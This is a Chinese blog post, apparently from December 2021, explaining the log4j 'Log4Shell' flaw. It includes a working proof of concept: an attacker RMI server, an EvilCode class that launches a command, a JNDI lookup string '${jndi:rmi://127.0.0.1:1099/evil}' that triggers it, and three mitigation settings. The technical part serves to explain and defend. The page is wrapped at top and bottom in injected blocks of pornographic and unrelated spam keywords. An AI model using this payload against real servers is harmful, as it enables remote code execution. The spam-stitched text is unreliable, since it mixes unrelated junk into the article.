<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      java~RMI引起的log4j漏洞

      2021-12-10日左右,java的log4j框架出現了一個大漏洞,對服務器案例引起了不小的影響,當然只對于log4j的日志使用者來說,如果你是spring框架,用的是logback,不存在這個問題。

      RMI和JNDI

      • RMI(Remote Method Invocation) 即Java遠程方法調用,一種用于實現遠程過程調用的應用程序編程接口
      • JNDI (Java Naming and Directory Interface)是一個應用程序設計的API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口
      • JNDI和RMI的主要關系是RMI注冊的服務可以通過JNDIAPI訪問。在討論到Spring反序列化漏洞之前,先看看如果通過JNDI來調用RMI注冊的服務。

      模擬漏洞重現

      • pom依賴
          <dependency>
                  <groupId>org.springframework.boot</groupId>
                  <artifactId>spring-boot-starter-web</artifactId>
                  <exclusions>
                      <exclusion>
                          <groupId>org.springframework.boot</groupId>
                          <artifactId>spring-boot-starter-logging</artifactId>
                      </exclusion>
                  </exclusions>
              </dependency>
      
              <!--log4j2核心包-->
              <dependency>
                  <groupId>org.apache.logging.log4j</groupId>
                  <artifactId>log4j-api</artifactId>
                  <version>2.14.0</version>
              </dependency>
              <dependency>
                  <groupId>org.apache.logging.log4j</groupId>
                  <artifactId>log4j-core</artifactId>
                  <version>2.14.0</version>
              </dependency>
      
      • 黑客端
      /**
       * 構建RMI服務來響應惡意代碼
       * <p>
       * Java RMI,即 遠程方法調用(Remote Method Invocation),一種用于實現遠程過程調用(RPC)的Java API, 能直接傳輸序列化后的Java對象和分布式垃圾收集。它的實現依賴于(JVM),因此它僅支持從一個JVM到另一個JVM的調用。
       */
      public class RMIServer {
        @SneakyThrows
        public static void main(String... args) {
          try {
            // 本地主機上的遠程對象注冊表Registry的實例,默認端口1099
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("Create RMI registry on port 1099");
            //返回的Java對象
            Reference reference = new Reference("bug.EvilCode", "bug.EvilCode", null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            // 把遠程對象注冊到RMI注冊服務器上,并命名為evil
            registry.bind("evil", referenceWrapper);
          } catch (RemoteException | AlreadyBoundException | NamingException e) {
            e.printStackTrace();
          }
        }
      
      /**
       * 執行任意的腳本,目前的腳本會使windows服務器打開計算器.
       */
      public class EvilCode {
        static {
          System.out.println("受害服務器將執行下面命令行");
          Process p;
      
          String[] cmd = {"calc"};
          try {
            p = Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            while ((line = br.readLine()) != null) {
              System.out.println(line);
            }
          } catch (IOException e) {
            e.printStackTrace();
          }
        }
      }
      
      • 網站端
      public class Server {
        private static final Logger logger = LogManager.getLogger();
      
        public static void main(String[] args) {
          String name = "${java:runtime}";
          logger.info("name:{}", name);
          //模擬填寫數據,輸入構造好的字符串,使受害服務器打印日志時執行遠程的代碼 同一臺可以使用127.0.0.1
          String username = "${jndi:rmi://127.0.0.1:1099/evil}";
          //正常打印業務日志
          logger.error("username:{}", username);
      
        }
      }
      
      

      【緊急補救措施3選1】

      1. 修改 JVM 參數 -Dlog4j2.formatMsgNoLookups=true
      2. 修改配置 log4j2.formatMsgNoLookups=True
      3. 將系統環境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置為 true
      posted @ 2021-12-13 15:13  張占嶺  閱讀(831)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 亚洲老妇女亚洲老熟女久| 国产精品久久久天天影视香蕉| 亚洲一区二区视频在线观看| 内射毛片内射国产夫妻| 亚亚洲视频一区二区三区| 黄色不卡视频一区二区三区| 国产精品免费久久久免费| 久久99久国产精品66| 日韩精品一区二区三区蜜臀| caoporn免费视频公开| 亚洲精品成人综合色在线| 任你躁国产自任一区二区三区| 成人精品老熟妇一区二区| 欧美日本激情| 日本美女性亚洲精品黄色| 读书| 国产精品一码在线播放| 中文字幕日韩一区二区不卡 | 国精品无码一区二区三区在线看| 中文字幕无码免费不卡视频| 柳河县| 福利一区二区在线播放| 欧美丰满熟妇乱XXXXX网站| 精品在线观看视频二区| 人人澡人人透人人爽| 国产-第1页-浮力影院| 日韩区一区二区三区视频| 久久精品国产99国产精品严洲| 办公室强奷漂亮少妇同事| 蜜臀av午夜精品福利| 国产精品第一页中文字幕| 五月天丁香婷婷亚洲欧洲国产| 伊人精品久久久大香线蕉| 亚洲18禁一区二区三区| 人妻精品动漫H无码中字| 欧美精品人人做人人爱视频| 国产一区精品在线免费看| 黑人巨大精品欧美| 亚洲熟妇熟女久久精品综合| 91精品国产午夜福利| 国产精品福利自产拍在线观看 |